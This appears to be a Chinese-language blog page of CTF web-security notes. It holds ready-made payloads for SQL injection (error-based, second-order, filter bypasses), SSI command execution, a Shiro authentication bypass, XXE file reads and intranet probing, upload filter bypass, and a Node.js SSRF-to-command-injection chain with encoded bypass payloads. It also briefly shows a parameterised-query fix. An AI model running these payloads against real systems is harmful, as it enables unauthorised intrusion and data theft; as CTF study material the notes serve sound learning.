show columns from `123 `; # 需使用反引号

替换:利用改名,将本不可读取的表数据修改为可读取表中数据

1
2
3
rename table t1 to t2; # 将t1表改名
alter table words add id int unsigned not Null auto_increment primary key; # 新表添加新列名:保持一致操作
alter table words change flag data varchar(100); # 改名flag为data

二次注入

漏洞点

1
2
mysql_query("insert into users(username, passwd, info) values ('{$username}', '{$password}', ' ');")
$info = query("select info from users where username='{$_SESSION['username']}';"); // 显示info

1中无法回显,通过1中闭合union连接命令,在2中同样执行最终回显

报错注入

  • 基于XPAT(XML)报错注入函数(xpath):updatexml对xml文档数据查询及修改,extractvalue查询
  • XPath_string不符合格式会以系统报错提示错误,查询字符串长度最大32位,需使用right(), left(), substr()截取字符串

获取用户名,数据库,版本

  • 可以将其中user(), database(), version()等替换为select语句
1
2
3
4
5
# updatexml获取
1' or (updatexml(1, concat(0x7e, database(), 0x7e), 1)) # 

# extractvalue 从 XML 数据中提取值 
xxx and (extractvalue(1, concat(0x7e, user(), 0x7e))); # 

后续获取

1
2
3
4
5
# 表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

# 字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('table_name')),0x7e),1))#

字符限制绕过

  • right获取后半部分内容
1
2
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(ziduan_name,25))))from(table_name)),0x7e),1))#
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(ziduan_name))from(table_name))),30))#

绕过

关键字绕过

or, select, union, where, and, from进行屏蔽

str_replace函数屏蔽将目标字符串只过滤一次,可以通过双写绕过:uunionnion, sselectelect, oorr

编码预处理绕过

  • select被过滤,将SQL语句16进制编码:select * from a ==> 123
  • prepare from预处理进行编码转换,execute执行prepare创建的SQL语句,SET一次只能赋一个值
1
SET@a=0x123;prepare execsql from @a;execute execsql; # payload

Handler

1
2
handler table_name open as `a`; handler `a` read next; # 文件操作读取
HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;

空格绕过

1
2
3
4
5
# 使用()绕过, 或直接不输入空格
1' or 
1'(or)

select(group_concat(column_name))from(information_schema.columns)where(table_name)like('xxx'))

等号绕过

1
2
# 使用 like 绕过 =, 万能密码修改
1'or((1)like(1))# 

or绕过

使用^可绕过

SSI注入漏洞

  • Server-Side Includes Injection,服务端包含注入,SSI赋予html静态页面动态效果
  • 存在.shtml, .stm, .shtm网页上某部分变量可控,如下,通过远程命令注入动态回显
1
2
3
<div>{$what}</div>
<p>{{username}}</p>
<div>{%$a%}</div>

利用命令格式

1
<!--#exec cmd="command"-->

JAVA

Shiro漏洞

身份验证绕过

Apache Shiro < 1.5.3

  • Shiro 特征:响应数据包中Set-Cookie: rememberMe=deleteMe;
  • 直接访问 /shiro/admin/page 返回302跳转要求登录
  • 访问 /;/shiro/admin/page 能绕过Shiro权限验证访问到/admin路由信息

文件泄露

  • 存在文件下载

tomcat敏感文件

  • /WEB-INF/web.xml:Web配置文件,servlet及其他应用组件配置、命名规则
  • /WEB-INF/classes/:包含所有 Servlet 类及其他类文件
  • /WEB-INF/lib/:存放 web 应用所需各种 JAR 文件
  • /WEB-INF/src/:源码目录
  • /WEB-INF/database.properties:数据库配置文件

web.xml查看

1
2
3
4
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

读取对应文件WEB-INF/classes/com/wm/ctf/FlagController.class

SQL注入

漏洞点:字符串拼接

1
2
3
if (!StringUtils.isNullOrEmpty(userName)) {
	sql.append(" and u.userName like '%").append(userName).append("%'");// 模糊查询: % 匹配任意长度的字符
}

前后闭合

1
2
3
// %25 为 %, 此处需要用%25, % 会报错
name%25' union select 1,2,version(),4,5,6,database(),8,9,10,11,12,13,14 where '1' like '%251
// 大于14不返回结果可判断回显列数

PrepareStatement

JAVA SQL API中用于执行参数化查询的接口,可防止SQL注入,SQL语句提前编译,参数作为数据处理而非直接拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// 查询公共类
public static ResultSet execute(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet, String sql, Object[] params) throws SQLException {
    // 获取预编译的SQL语句
    preparedStatement = connection.prepareStatement(sql);
    // 将占位符 ? 赋值
    for (int i = 0; i < params.length; i++) {
        preparedStatement.setObject(i + 1, params[i]);
    }
	// 执行查询
    resultSet = preparedStatement.executeQuery();
    return resultSet;
}

使用

1
2
3
String sql = "SELECT * FROM users WHERE username = ? AND age = ?";
Object[] params = { "Alice", 25 };
ResultSet resultSet = execute(connection, null, null, sql, params);

反序列化漏洞

JS

文件上传

前端js过滤绕过

1
2
3
4
5
6
7
8
9
var file = document.getElementsByName('upload_file')[0].value;
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf(".")); // 上传文件类型

if (allow_ext.indexOf(ext_name) == -1) {
    var errMsg = "NO";
    alert(errMsg);
    return false;
}

一句话木马命名后缀为jpg,后借助burpsuite拦截请求将名称改回

XXE注入漏洞

  • XML用于数据传输

XML

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<!-- 一般实体 -->
<!ENTITY name "content"> <!-- 声明 -->
&name <!-- 引用 -->

<!-- 参数实体 -->
<!ENTITY % name "content"> <!-- 声明 -->
&name <!-- 引用 -->

<!-- 内部实体 -->
<!DOCTYPE test [<!ENTITY f "upfine">]> <!-- 声明 -->
&f <!-- 引用 -->

<!-- 外部实体 -->
<!DOCTYPE test [<!ENTITY f SYSTEM "file:///flag">]> <!-- 声明 -->
&f <!-- 引用 -->
  • DTD:用于XML文档格式规范,可内部外部引入<!DOCTYPE ...
  • 外部实体支持协议:php(file, php, http, ftp), java(http, ftp, https)
  • XML外部实体注入,XML External Entity Injection,解析XML输入未禁止外部实体加载

抓包POST数据以XML形式传输

1
<user><username>input_thing</username></user>

注入

  • 声明XML文档版本及编码,可选
1
2
3
4
5
6
7
<?xml version="1.0" encoding = "utf-8"?> 
<!DOCTYPE test [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
	<username>&file;</username>
</user>

使用协议获取源码

1
2
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxx.php">
<!-- 获取内容base64解码 -->

探测内网

  • 可通过/proc/net/fib_trie, /proc/net/arp, /etc/hosts获取可疑内网IP
1
<!ENTITY file SYSTEM "http://x.x.x.x/"> <!-- 通过此访问内网主机数据 -->

Node.js

基础知识

SSRF漏洞

漏洞点

  • 设置服务器端口
1
var port = normalizePort(process.env.PORT || '3000');
  • 此处通过post传入payload再通过get本地服务器访问达成SSRF利用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// routes/index.js
var blacklist=['::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

// req中ip:客户端IP地址, url:请求URL, query:GET查询参数, body:POST请求体数据
router.get('/debug', function(req, res, next) { // 请求对象, 响应对象, 下一步中间件
    if(blacklist.indexOf(req.ip)!=-1){ // 黑名单过滤
        var u=req.query.url.replace(/[\"\']/ig,''); // 清除请求url的单双引号
        
        let log=`echo '${url.parse(u).href}'>>/tmp/log`;
        child_process.exec(log); // 执行命令
        res.json({data:fs.readFileSync('/tmp/log').toString()}); // 读取内容返回
    }else{
        res.json({});
    }
});

router.post('/debug', function(req, res, next) {
    if(req.body.url !== undefined) {
        var u = req.body.url;
        var urlObject=url.parse(u); // 解析返回json对象
        if(blacklist.indexOf(urlObject.hostname) == -1){
            var dest=urlObject.href;
            request(dest,(err,result,body)=>{
                res.json(body);
            })
        }
        else{
            res.json([]);
        }
    }
});

构造payload

  • 进制转换绕过黑名单
  • 闭合引号加入其余命令:利用nodejs的url库二次解码绕过
    • @字符前,即表示用户名密码字段,会被二次解码
  • %00%23截断后续代码
1
2
3
4
5
# 二次编码 => web服务器一次解码 http://a%27@a, nodejs二次解码 http://a'@a
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

# 特殊编码 => %EF%BC%87解码为'
{"url":"http://127.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%00"}

使用POSTMAN,POST -> body -> x-www-form-urlencoded

绕过

SSRF黑名单绕过

  • http://localhost
  • http://[::]:80/
  • 进制转换http://0177.0.0.1/http://2130706433/
Licensed under CC BY-NC-SA 4.0
Built with Hugo
主题 StackJimmy 设计
Caret Up